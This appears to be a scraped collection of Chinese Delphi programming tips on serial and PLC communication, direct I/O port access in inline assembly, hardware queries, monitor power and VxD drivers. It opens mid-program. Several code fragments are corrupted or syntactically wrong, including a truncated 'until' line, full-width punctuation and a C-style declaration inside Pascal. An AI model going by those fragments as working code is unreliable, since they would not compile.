port[$42] := 30;

port[$42] := 0;

for i := 1 to IRCodeLength DO begin

v := x[i];

asm

mov dx,$378

mov cx,rate

@1:

in al,$61

and al,v

out dx,al

loop @1

end;

end;

port[$61] := port[$61] and 252;

end;

begin

end.


用Delphi开发微机与PLC的串行通信程序
在Windows95下用Delphi开发微机与PLC的串行通信程序

鲁昌华　徐　稳

    摘　要：在Windows95下利用Delphi实现微机与PLC的串行通信的 几种方法。

    关键词：串行通信　Delphi　动态链接库DLL　构件　句柄　设备控制 块DCB　可编程控制器　PLC

    在自动测量和控制系统中，常常需要在上位机(微机)和PLC(可编程控制器) 之间进行数据交 换和发送控制信号，串行通信是其主要手段，我们在开发一套自动测试系统时就是采用串行 通信的方法，即由上位机向PLC发送命令，控制其进行各种测试线路的切换。

1　通信协议

    在本系统中微机和PLC采用一对一通信连接，上位机作主局，PLC作子局。通信开始时由上位 机向PLC发出呼叫，PLC收到上位机的呼叫后应答，并返回应答信号，然后上位机发首标，PL C应答，接着上位机发数据块，PLC应答，数据全部发完后上位机发一结束标志，至此上位机 与PLC的通信结束。

    上述通信协议可用图1描述。

    该协议使用的传输控制字符有：

    ENQ(查询)：在需要通信时作为发送方的请求。

    ACK(认可)：接收方给发送方的应答，表示正确接收信息包。

    SOH(首标)：表示要传送的是首标。

    ETB(数据结束)：标志数据块的结束。

    STX(文本开始)：标志数据块的开始。

    ETX(文本结束)：标志文本块的结束。

    EOT(结束)：表示传送结束。

    LRC：纵向冗余校验码，即对前面所有的传输码进行异或计算。

2　Windows95下用Delphi实现串行通信

    在Windows95环境下用Delphi3.0实现串行通信有3种方法：①使用VB的通信构件MSComm ；② 调用Windows95下的API函数来完成通信；③熟悉C/C++或其它语言的用户可以将自己的程序 编译链接为DLL(动态链接库)，这样Delphi就可以调用DLL里的函数来通信。下面就这3种方 法分别加以讨论。

2.1　使用VB通信构件

    在使用VB构件之前，首先要将VB构件文件MSComm32.OCX安装到Delphi的动态构件库中。打开 主菜单Component选择Import ActiveX Control...项，在弹出的对话框里选中Microsoft Co mm Control5.0(安装VB5.0后必有此项)，再单击Install按钮。此时Delphi载入VB构件文件并重新编译DCL(Delphi Component Library)。编译完成后，MSComm的小按钮出现在ActiveX 页中，这时程序就可以使用此 构件了。应该注意的是，安装前要确保VB通信构件的控制文件MSComm32.OCX(在VB4.0以上版 本中)在编译DCL之前已在＼Windows＼System下。接着向窗体中 添加1个MSComm构件并进行串行口的初始化，初始化子例程序如下：

Procedure TForm1.FormCreate(Sender：TObject)；

begin

MSComm1.CommPort：=2；　{使用COM2口为通信口}

MSComm1.InBufferSize：=1024；　{设定接收队列长度为

1KB}

MSComm1.OutBufferSize：=1024；　{设定发送队列长度为

1KB}

MSComm1.Settings：=‘9600，N，8，1'；{波特率9600b/s，无校验，8个数据位，1 个停止位}

MSComm1.InputLen：=0；　{读取整个接收缓冲区内容}

MSComm1.InputBufferCount：=0；　{清除接收缓冲区}

MSComm1.PortOpen=：True；　{打开串行口}

End；

    用Input属性从接收对列读入字符串：ReadBuffer：=MSComm1.Input；用Output属性发送字 符串：MSComm1.Output：=WriteBuffer；然后根据上述通信协议，即可快速编制出通信软件 。

2.2　调用Windows95下的API函数

    Windows95对通信功能的支持非常强，它增加了一系列用于通信的API函数供用户调用。同样 ，要进行串行通信，也需要先对串口进行初始化。Windows95把串行口作为设备文件，对串 口操作就是对文件操作。因此，必须先为串口分配1个文件句柄，以后对串口操作都将通过 这个文件句柄来完成。初始化过程如下：

    (1)调用CreateFile函数为串口分配1个文件句柄。

    Var HComm：THandle；

    HComm：=CreateFile(‘COM2'，GENERICREAD or GENERICWRITE ，0，@NULL，OPENEXISTING，FILEFLAGOVERLAPPED，0)；

    如果对串行口1操作，用字符串COM1代替COM2即可。

    (2)调用SetupComm函数设置串行口的输入和输出缓存区。

    SetupComm(HComm，1024，1024)；

    (3)填充1个DCB(设备控制块)结构来设置通信参数。通过调用GetCommState函数 获得当前系统的DCB结构，按需要赋值给DCB的成员，如波特率、奇偶校验、数据位、停止位 等，最后将创建后的DCB结构作为参数传给SetCommState函数就可以初始化串口了。

    Var DCB：TDCB；

    GetCommState(HComm，DCB)；

    BuildCommDCB(‘9600，N，8，1'，DCB)；

    SetCommState(HComm，DCB)；

    (4)用PurgeComm函数来清除接收缓存区的内容。

    PurgeComm(HComm，PurgeRXCLEAR)；

    (5)串行口的初始化完成后，接下来的工作就是根据通信协议发送和接收串行口上的数据。R eadFile函数用于接收数据，WriteFile函数用于发送数据。

    Var

    OverLapped：TOverLapped；

    DataIn：Byte；

    DataOut：Byte；

    BufferSize：Integer；

    COMSTAT cs；

    ReadFile(HComm，DataIn，cs.cbInQue，BufferSize，@OverLapped)；

      {从串行口读输入缓存的字节，存入DataIn变量中}

    WriteFile(HComm，DataOut，cs.cbOutQue，BufferSize，@OverLapped)；

      {向串行口写输出缓存的字节，要写的数据存放在DataOut}

    按照上述步骤，再根据前面的通信协议，即可完成串行通信。

2.3　调用其它语言编写的DLL

    由于这里所说的其它语言包含面很广，可以是开发人员所熟悉的编程语言(只要其支持DLL即 可)，如C和C++等，所以如何编写DLL就不再详述了。将编写好的DLL进行编译，然后把编译 通过后的DLL放在＼Windows＼System子目录下，在Delphi下打开1个单元文件，将DLL里的所 有函数在单元文件中声明，格式如下：

    unit UnitName；

    interface

    procedure p1(param1：type1；param2：type2；...)；stdcall；

    external‘DLLName'；

    …

    implementation

    end

    其中UnitName为单元文件名，p1为调用过程名，param1、param2为参数名，type1、type2为 参数类型名，DLLName为DLL名。串行通信时，只要将此单元包含进编程单元就行了。

3　结　论

    对使用Delphi开发Windows95下与PLC进行串行通信程序的3种方法进行比较可以得出这样的 结论：

    (1)使用VB通信构件不但能够实现API的所有功能，而且程序简单明了。

    (2)调用Windows95的API通信函数，可以设计和开发出各种通信软件，但编程复杂。

    (3)第3种方法适合那些熟悉其它编程语言的开发人员。

    以上所有程序均在Windows95中文版下使用Delphi3.0调试通过。

作者单位：合肥工业大学计算机系(230061)

参考文献

  1　李汉涛，杨长春.Windows下三线制串行通信的实现方法.电脑技 术，1998；(7)

  2　王仲文译.精通串行通信.北京：电子工业出版社

收稿日期：1998-10-20


对串口的简单读取
///////////////

//

// (P) Eagle.Yin

// Serial port communication unit based on timers

//

// 1999/10/02 Mainframe was finished

// 1999/10/03 Add routine 'Get_Port_Config' for debug

// Add Input-Time-Out processing code

// 1999/10/07 Add error checking when read and write serial port

// Add routine 'Set_Port_TimeOut' and delete 'tmOut' parameters in 'Open_Port'

// Add routine 'Port_Error_Str' to get text description of port error

//

{---$define debugall}

{---$define debug}

unit SerialPort;

interface

uses

Windows, ExtCtrls;

const

tmInterval = 50; // timer interval is 50ms

const

E_NO_ERROR = 0; // port error codes

E_OPEN = 1;

E_GET_STATE = 2;

E_SET_STATE = 3;

E_GET_TMO = 4;

E_SET_TMO = 5;

E_TIMEOUT = 6;

E_READ = 7;

E_WRITE = 8;

const

InBufferSize= 1024; // size of input buffer

type

TInBuffer= array[0..InBufferSize-1] of byte; // input buffer

type

TReader = procedure( len:integer; var buf:TInBuffer ) of object; // data reader procedure

TWatcher = procedure( erCode:integer ) of object; // port exception watcher

type

TSerialPort = class( TObject )

private

hReader : TReader; // handle of data reader

hWatcher : TWatcher; // handle of watcher

tmReader : TTimer; // port monitor

tmOutCnt,

tmOutVal : integer; // time out value, tmOut = TIME_OUT(ms)/tmInterval(ms)

DataInFlag: boolean; // data flow in flag

procedure Monitor( Sender:TObject );

protected

hPort : THandle; // handle of serial port

public

procedure Set_Port_TimeOut( tmOut:integer );

function Open_Port( PortName:string; BaudRate, ByteSize, StopBits, Parity:integer ):integer;

procedure Close_Port;

function WriteData( num:integer; var buf ):integer;

function Get_Port_Config( var BaudRate, ByteSize, StopBits, Parity:integer ):boolean;

constructor Create( dReader:TReader; dWatcher:TWatcher );

destructor Destroy; override;

end;// TSerialPort

function Port_Error_Str( eCode:integer ):string;

implementation

uses

SysUtils, Dialogs;

//-----------------------------------------------------------------------------------

var

Err_Table : array[0..8] of string = ( // port error message table

'', // no error

'打开串行口失败',

'获取串行口状态失败',

'设置串行口状态失败',

'获取串行口超时失败',

'设置串行口超时失败',

'串行口无数据输入',

'读串行口错误',

'写串行口错误'

); // Error string table

function Port_Error_Str( eCode:integer ):string;

//

// This function return text description for port errors

// eCode : Port error code

// result: Text description for port error

//

begin

if ( eCode>=0 ) and ( eCode<=8 ) then

result := Err_Table[eCode] + '(' + inttostr( eCode ) + ')'

else

result := '未知串行口错误(' + inttostr( eCode ) + ')';

end;

//-----------------------------------------------------------------------------------

var

buf : TInBuffer; // input buffer for monitor

procedure TSerialPort.Monitor( Sender:TObject );

//

// This procedure is the 'OnTimer' event handler of 'tmReader', it reads data from serial port and

// call 'hReader' if necessary, it also counts timeouts, if timeout occured, it will call the error

// handler 'hWatcher'

//

var

eCode : dword;

cStat : COMSTAT;

numRead : dword;

begin

// manipulate serial port

eCode := 0;

ClearCommError( hPort, eCode, @cStat );

repeat

numRead :=0;

if not ReadFile( hPort, buf, sizeof( buf ), numRead, nil ) then

begin

if Assigned( hWatcher ) then // call read-error handler

hWatcher( E_READ );

exit;

end;{ if }

// count timeout counter

DataInFlag := numRead >0; // set data flow in flag

if DataInFlag then // reset time out counter if data in

tmOutCnt := 0;

inc( tmOutCnt );

if tmOutCnt>=tmOutVal then // timeout occured

begin

tmOutCnt := 0; // reset time out counter

if Assigned( hWatcher ) then

hWatcher( E_TIMEOUT );

end;{ if }

// pass data to reader

if Assigned( hReader ) then

hReader( numRead, buf );

until ( numReadend;

//--------------------------------------------------------------------------------------------------

procedure TSerialPort.Set_Port_TimeOut( tmOut:integer );

//

// This procedure set port timeout value and reset the timeout counter

// tmOut : Port timeout value, in milliseconds

//

begin

tmOutVal := tmOut div tmInterval;

tmOutCnt := 0;

end;

function TSerialPort.Open_Port( PortName:string; BaudRate, ByteSize, StopBits, Parity:integer ):integer;

//

// Open and config serial port and activate the monitor timer

//

function OpenPort:integer;

begin

hPort := INVALID_HANDLE_VALUE; // init port handle

hPort := CreateFile( pchar( PortName ), // port name

GENERIC_READ or GENERIC_WRITE, // access mode

0, // share mode

nil, // security attributes

OPEN_EXISTING, // how to create

0, // file attributes

0 ); // template file

if hPort = INVALID_HANDLE_VALUE then

result := E_OPEN

else

result := E_NO_ERROR;

{$ifdef debug}

if result<>E_NO_ERROR then

ShowMessage( 'Can not open port:' + PortName );

{$endif}

end;

function ConfigPort:integer;

var

commDCB : DCB;

commTMO : TCOMMTIMEOUTS;

begin

if not GetCommState( hPort, CommDCB ) then // can't get port state

begin

result := E_GET_STATE;

CloseHandle( hPort );

hPort := INVALID_HANDLE_VALUE;

{$ifdef debug}

ShowMessage( 'Can not get port state:' + PortName );

{$endif}

exit;

end;{ if }

commDCB.BaudRate := BaudRate; // setup port device control block

commDCB.ByteSize := ByteSize;

commDCB.StopBits := StopBits;

commDCB.Parity := Parity;

if not SetCommState( hPort, commDCB ) then // can't set port state

begin

result := E_SET_STATE;

CloseHandle( hPort );

hPort := INVALID_HANDLE_VALUE;

{$ifdef debug}

ShowMessage( 'Can not set port state:' + PortName );

{$endif}

exit;

end;{ if }

if not GetCommTimeOuts( hPort, commTMO ) then // can't get port time outs

begin

result := E_GET_TMO;

CloseHandle( hPort );

hPort := INVALID_HANDLE_VALUE;

{$ifdef debug}

ShowMessage( 'Can not get port timeouts:' + PortName );

{$endif}

exit;

end;{ if }

with commTMO do // setup port time outs

begin

ReadIntervalTimeOut:=MAXDWORD;

ReadTotalTimeOutMultiplier:=0;

ReadTotalTimeOutConstant:=0;

end;{ with }

if not SetCommTimeOuts( hPort, commTMO ) then // can't set port time outs

begin

result := E_SET_TMO;

CloseHandle( hPort );

hPort := INVALID_HANDLE_VALUE;

{$ifdef debug}

ShowMessage( 'Can not set port timeouts:' + PortName );

{$endif}

exit;

end;{ if }

result := E_NO_ERROR; // default result

end;

begin

result := OpenPort; // open port

if result<>E_NO_ERROR then

exit;

result := ConfigPort; // config port

if result<>E_NO_ERROR then

exit;

PurgeComm( hPort, PURGE_TXABORT + PURGE_RXABORT + PURGE_TXCLEAR + PURGE_RXCLEAR );

tmReader.Enabled := True; // init monitor timer

end;

procedure TSerialPort.Close_Port;

//

// Close port and deactivate the monitor timer

//

begin

if hPort<>INVALID_HANDLE_VALUE then

begin

tmReader.Enabled := False; // disable monitor timer

PurgeComm( hPort, PURGE_TXABORT + PURGE_RXABORT + PURGE_TXCLEAR + PURGE_RXCLEAR );

CloseHandle( hPort ); // close port

hPort := INVALID_HANDLE_VALUE;

end;{ if }

end;

function TSerialPort.WriteData( num:integer; var buf ):integer;

var

eCode : dword;

cStat : COMSTAT;

begin

eCode := 0;

ClearCommError( hPort, eCode, @cStat );

result := 0;

if not WriteFile( hPort, buf,num, dword( result ), nil ) then

begin

if Assigned( hWatcher ) then // call write error handler

hWatcher( E_WRITE );

end;{ if }

end;

function TSerialPort.Get_Port_Config( var BaudRate, ByteSize, StopBits, Parity:integer ):boolean;

//

// Get current port configuration

//

var

commDCB : DCB;

begin

result := ( hPort<>INVALID_HANDLE_VALUE );

if result then

begin

result := GetCommState( hPort, commDCB );

if result then

begin

BaudRate := commDCB.BaudRate;

ByteSize := commDCB.ByteSize;

StopBits := commDCB.StopBits;

Parity := commDCB.Parity;

end;{ if }

end;{ if }

end;

//-----------------------------------------------------------------------------------

constructor TSerialPort.Create( dReader:TReader; dWatcher:TWatcher );

begin

inherited Create;

hPort := INVALID_HANDLE_VALUE; // init port handle

hReader := dReader; // init event handler

hWatcher := dWatcher; // init watcher handler

tmOutVal := 5*1000; // default time out value is 5s

DataInFlag := True;

tmReader := TTimer.Create( nil ); // init timer

with tmReader do

begin

Enabled := False;

Interval := tmInterval;

OnTimer := Monitor;

end;{ with }

end;

destructor TSerialPort.Destroy;

begin

hWatcher := nil; // disable event handler

hReader := nil;

Close_Port; // close serial port

tmReader.Destroy; // destroy monitor reader

inherited;

end;

end.

========================================================

1.用M$的MSComm控件

2.用CreateFile打开串口，ReadFile来读，这里有一段我用C Builder写的程序中的一段函数，你看看

bool ReceiveByteFromComDev(double TimeReceiveDelay, unsigned char* ByteBuf, HANDLE hCom)

{

unsigned long dwNumRead ;

unsigned long dwNumtoRead ;

unsigned char TempCommRead[3];

GetCommTimeouts(hCom,&MyCommTimeouts);

MyCommTimeouts.ReadIntervalTimeout = TimeReceiveDelay;

MyCommTimeouts.ReadTotalTimeoutMultiplier = 1;

MyCommTimeouts.ReadTotalTimeoutConstant = TimeReceiveDelay;

SetCommTimeouts(hCom ,&MyCommTimeouts );

dwNumtoRead = 1 ;

BOOL Fcom=ReadFile(hCom,&TempCommRead,dwNumtoRead ,&dwNumRead,NULL);

if (Fcom && dwNumRead!= 0) {*ByteBuf = TempCommRead[0] ;return true;}

else return false;

}


几个I/O端口操作函数
function PortIn(IOport:word):byte; assembler;

asm

mov dx,ax

in al,dx

end;

function PortInW(IOport:word):word; assembler;

asm

mov dx,ax

in ax,dx

end;

procedure PortOut(IOport:word; Value:byte); assembler;

asm

xchg ax,dx

out dx,al

end;

procedure PortOutW(IOport:word; Value:word); assembler;

asm

xchg ax,dx

out dx,ax

end

{ Example use }

PROCEDURE TMainWin.Command(val:BYTE);

VAR Delay,num:INTEGER;

BEGIN

PortOut(Port,Val);

FOR Delay:= 1 TO 500 DO;

PortOut(Port+2,7);

FOR Delay:= 1 TO 500 DO;

num:= PortIn(Port+1) AND $32;

ShowMessage('Value read = '+IntToStr(num))

END;


串口通讯
Borland Delphi2.0/3.0以其强大的功能及方便快捷的程序设计

而为广大程序员所喜爱。但是在用它来编写工业控制程序时,需要对

计算机所连接的外部设备进行操作,即直接对I/O地址进行读写操作,

这时该软件就显得有些美中不足了。

针对这一问题,笔者使用Delphi 2.0/3.0以内嵌汇编的方式编写

了一个模块PORT95. PAS,可方便地实现直接对I/O地址的读写操作,代

码简捷且执行速度较快。

使用时只要将PORT95.PAS加到工程文件中,并在users中加上Port

95,就可以在应用程序中直接对I/O端口进行操作。

具体的实现方法及PORT95.PAS的源代码如下:

unit Port95;

interface

function PortReadByte(Addr:Word) : Byte;

function PortReadWord(Addr:Word) : Word;

function PortReadWordLS(Addr:Word) : Word;

procedure PortWriteByte(Addr:Word; Value:Byte);

procedure PortWriteWord(Addr:Word; Value:Word);

procedure PortWriteWordLS(Addr:Word; Value:Word);

implementation

{*

* Port Read byte function

*Parameter:port address

*Return: byte value from given port

*}

function PortReadByte(Addr:Word) : Byte; assembler; regi

ster;

asm

MOV DX,AX

IN AL,DX

end;

{*

* HIGH SPEED Port Read Word function

* Parameter: port address

* Return: word value from given port

* Comment:may problem with some cards and computers that

can't to access whole word, usualy it works.

*}

function PortReadWord(Addr:Word) : Word; assembler; regi

ster;

asm

MOV DX,AX

IN AX,DX

end;

{*

* LOW SPEED Port Read Word function

* Parameter: port address

*Return:word value from given port

*Comment:work in cases,only to adjust DELAY if need

*}

function PortReadWordLS(Addr:Word) : Word; assembler; re

gister;

const

Delay = 150;

// depending of CPU speed and cards speed

asm

MOV DX,AX

IN AL,DX

//read LSB port

MOV ECX,Delay

@1:

LOOP @1 //delay between two reads

XCHG AH,AL

INC DX

//port+1

IN AL,DX //read MSB port

XCHG AH,AL //restore bytes order

end;

{* Port Write byte function*}

procedure PortWriteByte(Addr:Word; Value:Byte); assemble

r; register;

asm

XCHG AX,DX

OUT DX,AL

end;

{*

* HIGH SPEED Port Write word procedure

* Comment:may problem with some cards and computers that

can't to access whole word, usualy it works.

*}

procedure PortWriteWord(Addr:word; Value:word); assemble

r; register;

asm

XCHG AX,DX

OUT DX,AX

end;

{*

* LOW SPEED Port Write Word procedure

*}

procedure PortWriteWordLS(Addr:word; Value:word); assemb

ler; register;

const

Delay = 150;

// depending of CPU speed and cards speed

asm

XCHG AX,DX

OUT DX,AL

MOV ECX,Delay

@1:

LOOP@1

XCHG AH,AL

INC DX

OUT DX,AL

end;

end. //单元结束

上述PORT95.PAS适用于Delphi 2.0/3.0、Windows 95 操作系统

。

///////////////////////////////////////

function InPort(PortAddr: word): byte;

{$IFDEF VER90}

assembler; stdcall;

asm

mov dx,PortAddr

in al,dx

end;

{$ELSE}

begin

Result := Port[PortAddr];

end;

{$ENDIF}

procedure OutPort(PortAddr: word; Databyte: byte);

{$IFDEF VER90}

assembler; stdcall;

asm

mov al,Databyte

mov dx,PortAddr

out dx,al

end;

{$ELSE}

begin

Port[PortAddr] := DataByte;

end;

{$ENDIF}

=========================================

---- 基 于WIN95/NT 的 串 行 通 信 机 制

---- Windows 操 作 系 统 的 机 制 禁 止 应 用 程 序 直 接 访 问 计 算 机 硬 件， 但 它 为 程 序

员 提 供 了 一 系 列 的 标 准API 函 数， 使 得 应 用 程 序 的 编 制 更 加 方 便 并 且 免 除 了

对 有 关 硬 件 的 调 试 麻 烦。 在Windows95/NT 中， 原 来Windows3.X 的WM_COMMNOTIFY 消 息

已 被 取 消， 操 作 系 统 为 每 个 通 信 设 备 开 辟 了 用 户 可 定 义 大 小 的 读/ 写 缓 冲

区， 数 据 进 出 通 信 口 均 由 操 作 系 统 后 台 完 成， 应 用 程 序 只 需 对 读/ 写 缓 冲 区

操 作 即 可。WIN95/NT 中 几 个 常 用 的 串 行 通 信 操 作 函 数 如 下：

CreatFile

打 开 串 行 口

CloseHandle

关 闭 串 行 口

SetupComm

设 置 通 信 缓 冲 区 的 大 小

ReadFile

读 串 口 操 作

WriteFile

写 串 口 操 作

SetCommState

设 置 通 信 参 数

GetCommState

获 取 默 认 通 信 参 数

ClearCommError

清 除 串 口 错 误 并 获 取 当 前 状 态

---- 除 上 述 几 个 函 数 外， 还 要 经 常 用 到 一 个 重 要 的 记 录DCB（ 设 备 控 制

块）。DCB 中 记 录 有 可 定 义 的 串 行 口 参 数， 设 置 串 行 口 参 数 时 必 须 先 用

GetCommState 函 数 将 系 统 默 认 值 填 入DCB 控 制 块， 然 后 才 可 把 用 户 想 改 变 的 自 定

义 值 设 定。

---- 在WIN95/NT 中 进 行 串 行 通 信 除 了 解 基 本 的 通 信 操 作 函 数 外， 还 要 掌 握 多 线

程 编 程。 线 程 是 进 程 内 部 执 行 的 路 径， 是 操 作 系 统 分 配CPU 时 间 的 基 本 实

体。 每 个 进 程 都 由 单 线 程 开 始 完 成 应 用 程 序 的 执 行。 串 行 通 信 需 要 利 用 多

线 程 技 术 实 现， 其 主 要 的 处 理 逻 辑 可 以 表 述 如 下： 进 程 一 开 始 先 由 主 线 程

做 一 些 必 要 的 初 始 化 工 作， 然 后 主 线 程 根 据 需 要 在 适 当 时 候 建 立 通 信 监 视

线 程 监 视 通 信 口， 当 指 定 的 串 行 口 事 件 发 生 时， 向 主 线 程 发 送

WM_COMMNOTIFY 消 息( 由 于WIN95 取 消 了WM_COMMNOTIFY 消 息， 因 此 必 须 自 己 创

建）， 主 线 程 对 其 进 行 处 理。 若 不 需 要WM_COMMNOTIFY 消 息， 则 主 线 程 终 止 通

信 监 视 线 程。

---- 多 线 程 同 时 执 行， 将 会 引 起 对 共 享 资 源 的 冲 突。 为 避 免 冲 突， 就 要 用 同

步 多 线 程 对 共 享 资 源 进 行 访 问。WIN95 提 供 了 许 多 保 持 线 程 同 步 的 方 法， 笔

者 采 用 创 建 事 件 对 象 来 保 持 线 程 同 步。 通 过CraeteEvent（） 创 建 事 件 对 象， 使

用SetEvent（） 或PulseEvent（） 函 数 将 事 件 对 象 设 置 成 信 号 同 步。 在 应 用 程 序 中，

利 用WaitSingleObject（） 函 数 等 待 同 步 的 触 发， 等 到 指 定 的 事 件 被 其 它 线 程 设 置

为 有 信 号 时， 才 继 续 向 下 执 行 程 序。

---- Delphi 下 的 具 体 实 现 方 法

---- Delphi 的 强 大 功 能 和 支 持 多 线 程 的 面 向 对 象 编 程 技 术， 使 得 实 现 串 行 通 信

非 常 简 单 方 便。 它 通 过 调 用 外 部 的API 函 数 来 实 现， 主 要 步 骤 如 下： 首 先， 利

用CreateFile 函 数 打 开 串 行 口， 以 确 定 本 应 用 程 序 对 此 串 行 口 的 占 有 权， 并 封

锁 其 它 应 用 程 序 对 此 串 口 的 操 作； 其 次， 通 过GetCommState 函 数 填 充 设 备 控 制

块DCB， 再 通 过 调 用SetCommState 函 数 配 置 串 行 口 的 波 特 率、 数 据 位、 校 验 位 和

停 止 位。 然 后， 创 建 串 行 口 监 视 线 程 监 视 串 行 口 事 件。 在 此 基 础 上 就 可 以

在 相 应 的 串 口 上 操 作 数 据 的 传 输； 最 后， 用CloseHandle 函 数 关 闭 串 行 口。 具 体

的 程 序 如 下， 本 程 序 用Delphi3.0 编 制 在Win95 环t 境 下 调 试 通 过， 已 投 入 实 际 应 用

中， 供 广 大 读 者 参 考。

---- 程 序：

unit comdemou;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms, Dialogs;

const

Wm_commNotify=Wm_User+12;

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

private

Procedure comminitialize;

Procedure MsgcommProcess(Var

Message:Tmessage); Message Wm_commnotify;

{ Private declarations }

public

{ Public declarations }

end;

//线程声明

TComm=Class(TThread)

protected

procedure Execute;override;

end;

var

Form1: TForm1;

hcom,Post_Event:Thandle;

lpol:Poverlapped;

implementation

{$R *.DFM}

Procedure TComm.Execute; //线程执行过程

var

dwEvtMask:Dword;

Wait:Boolean;

Begin

fillchar(lpol,sizeof(toverlapped),0);

While True do Begin

dwEvtMask:=0;

Wait:=WaitCommEvent(hcom,dwevtmask,lpol);

//等待串行口事件；

if Wait Then Begin

waitforsingleobject(post_event,infinite);

//等待同步事件置位；

resetevent(post_event); //同步事件复位；

PostMessage(Form1.Handle,

WM_COMMNOTIFY,0,0);//发送消息；

end;

end;

end;

procedure Tform1.comminitialize;

//串行口初始化

var

lpdcb:Tdcb;

Begin

hcom:=createfile('com2',generic_read or

generic_write,0,nil,open_existing,

file_attribute_normal or

file_flag_overlapped,0);//打开串行口

if hcom=invalid_handle_value then

else

setupcomm(hcom,4096,4096);

//设置输入，输出缓冲区皆为4096字节

getcommstate(hcom,lpdcb);

//获取串行口当前默认设置

lpdcb.baudrate:=2400;

lpdcb.StopBits:=1;

lpdcb.ByteSize:=8;

lpdcb.Parity:=EvenParity; //偶校验

Setcommstate(hcom,lpdcb);

setcommMask(hcom,ev_rxchar);

//指定串行口事件为接收到字符；

end;

Procedure TForm1.Msgcomm

Process(Var Message:Tmessage);

var

Clear:Boolean;

Coms:Tcomstat;

cbNum,ReadNumber,lpErrors:Integer;

Read_Buffer:array[1..100]of char;

Begin

Clear:=Clearcommerror(hcom,lpErrors,@Coms);

if Clear Then Begin

cbNum:=Coms.cbInQue;

ReadFile(hCom,Read_Buffer,

cbNum,ReadNumber,lpol);

//处理接收数据

SetEvent(Post_Event);

//同步事件置位

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

comminitialize;

post_event:=CreateEvent

(nil,true,true,nil); //创建同步事件；

Tcomm.Create(False);

//创建串行口监视线程；

end;

end.


检测声卡
uses mmsystem;

function SoundCardExist:boolean;

begin

result:=WaveOutGetNumDevs >0;

end;


开关显示器
Turn off the monitor

// turn it off:

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);

// turn it on again:

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);


获取硬件信息
几个基本的例子，由此可演化得到许多硬件信息。

结果放在Memo1中。

procedure TForm1.Button1Click(Sender: TObject);

var

systeminfo: SYSTEM_INFO;

memory: MEMORYSTATUS;

sector,byte,cluster,free: DWORD;

freespace,totalspace: longint;

CDtype: UINT;

name: CHAR;

drvname: string;

volname,filesysname: PCHAR;

sno,maxl,fileflag: DWORD;

begin

Memo1.Lines.Clear();

//获得CPU型号

GetSystemInfo(systeminfo);

Memo1.Lines.Add('您的CPU类型是:' + inttostr(systeminfo.dwProcessorType));

//获得内存状态

memory.dwLength := sizeof(memory); //初始化

GlobalMemoryStatus(memory);

Memo1.Lines.Add('您的物理内存是(' + inttostr(integer(memory.dwTotalPhys div 1024 div 1024)) + 'MB)。');

Memo1.Lines.Add('其中可用内存是(' + inttostr(integer(memory.dwTotalPhys div 1024)) + 'KB)。');

//获得C盘可用空间

GetDiskFreeSpace('C:', LPDWORD(@sector)^, LPDWORD(@byte)^, LPDWORD(@free)^, LPDWORD(@cluster)^); //获得返回参数

totalspace := cluster * byte * sector div 1024 div 1024; //计算总容量

freespace := free * byte * sector div 1024 div 1024; //计算可用空间

Memo1.Lines.Add('C盘总空间(' + inttostr(integer(totalspace)) + 'MB)。');

Memo1.Lines.Add('C盘可用空间(' + inttostr(integer(freespace)) + 'MB)。');

//检测CD－ROM，是否有光盘

GetMem(volname, 255);

GetMem(filesysname, 100);

for name :='C' to 'Z' do//循环检测A～Z

begin

drvname := name + ':';

CDtype := GetDriveType(PCHAR(@drvname[1])); //获得磁盘类型

if (CDtype = DRIVE_CDROM) then

begin

Memo1.Lines.Add('您的光驱盘符为[' + drvname + ']');

volname^ := Chr(0);

filesysname^ := Chr(0);

if ( not (GetVolumeInformation(PCHAR(@drvname[1]), volname, 250, LPDWORD(@sno), LPDWORD(@maxl)^, LPDWORD(@fileflag)^, filesysname,100))) then

Memo1.Lines.Add(drvname + '驱中没有发现光盘') //如果返回值为假

else //如果返回值为真

begin

Memo1.Lines.Add (drvname + '驱中光盘卷标为: [' + String(volname) + ']');

Memo1.Lines.Add (drvname + '驱中光盘序号为: [' + inttostr(sno) + ']');

end;

end;

end;

FreeMem(volname);

FreeMem(filesysname)

end;


用 Delphi编写VxD设备驱动程序
用 Delphi 编写 VxD 设备驱动程序(转)（sundyl 转贴）

出处：http://www.chinaasp.com/columns/delphi/article1472.asp

正文：

用 Delphi 编写 VxD 设备驱动程序(转)

关键词：Delphi控件杂项

作者：Emil Biserov(dinfo@mail.primorye.ru)(Russion)

英语翻译：Vitaly Zayko(zayko@vitsoftware.com)

中文翻译改编：Riceball(teditor@mailroom.com)

前言

用 Delphi 3.0 编写 VxD 设备驱动程序，在Delphi 3 下编译通过，Delphi 2 下没有测试，Delphi 4 建立的 Object 文件 M$ Linker 5.12.8181 不能识别，这里使用的汇编器是M$的Macro Assembler ver. 6.11d ，联结器是M$ Incremental Linker ver. 5.12.8181 ，它们来自 Windows 98DDK(http://www.microsoft.com/ddk/ddk98.htm)。

介绍

Windows 存在有两种类型的 VxD 设备驱动程序：

1、静态(Static) VxD ，装入操作系统并永久的存在于内存中；

2、动态(Dynamic) VxD，当需要时才调入内存，用完后关闭VxD即可释放内存。

Inprise Delphi 有能力建立任何一种类型的 VxD 设备驱动程序，下面我们将介绍如何建立动态 VxD。

当 Win32 应用程序打开一个 VxD “虚拟”设备时，VWIN32 使用 LoadDevice 将 VxD 装入内存，并建立消息W32_DEVICEIOCONTROL ，发向 VxD。

也就是说，VxD 至少应该响应以下两个系统信息和编写以下的一个函数：

SYS_DYNAMIC_DEVICE_INIT

SYS_DYNAMIC_DEVICE_EXIT

W32_DEVICEIOCONTROL 函数.

消息 SYS_DYNAMIC_DEVICE_INIT 在尝试装入 VxD 时发送到 VxD ，消息 SYS_DYNAMIC_DEVICE_EXIT 在尝试动态交换时发送到 VxD ，消息的处理者在成功处理后，应该在寄存器 AX 中返回 VXD_SUCCESS 标志。

W32_DEVICEIOCONTROL 的 dwService 参数有以下的值：

DIOC_OPEN 当 VxD 通过 CreateFile() 函数尝试打开操作时发送（在 SYS_DYNAMIC_DEVICE_INIT 消息后），如果成功返回 NO_ERROR (0);

DIOC_CLOSEHANDLE 当 VxD 通过 CloseHandle() 函数尝试关闭操作时发送（在 SYS_DYNAMIC_DEVICE_EXIT 前）

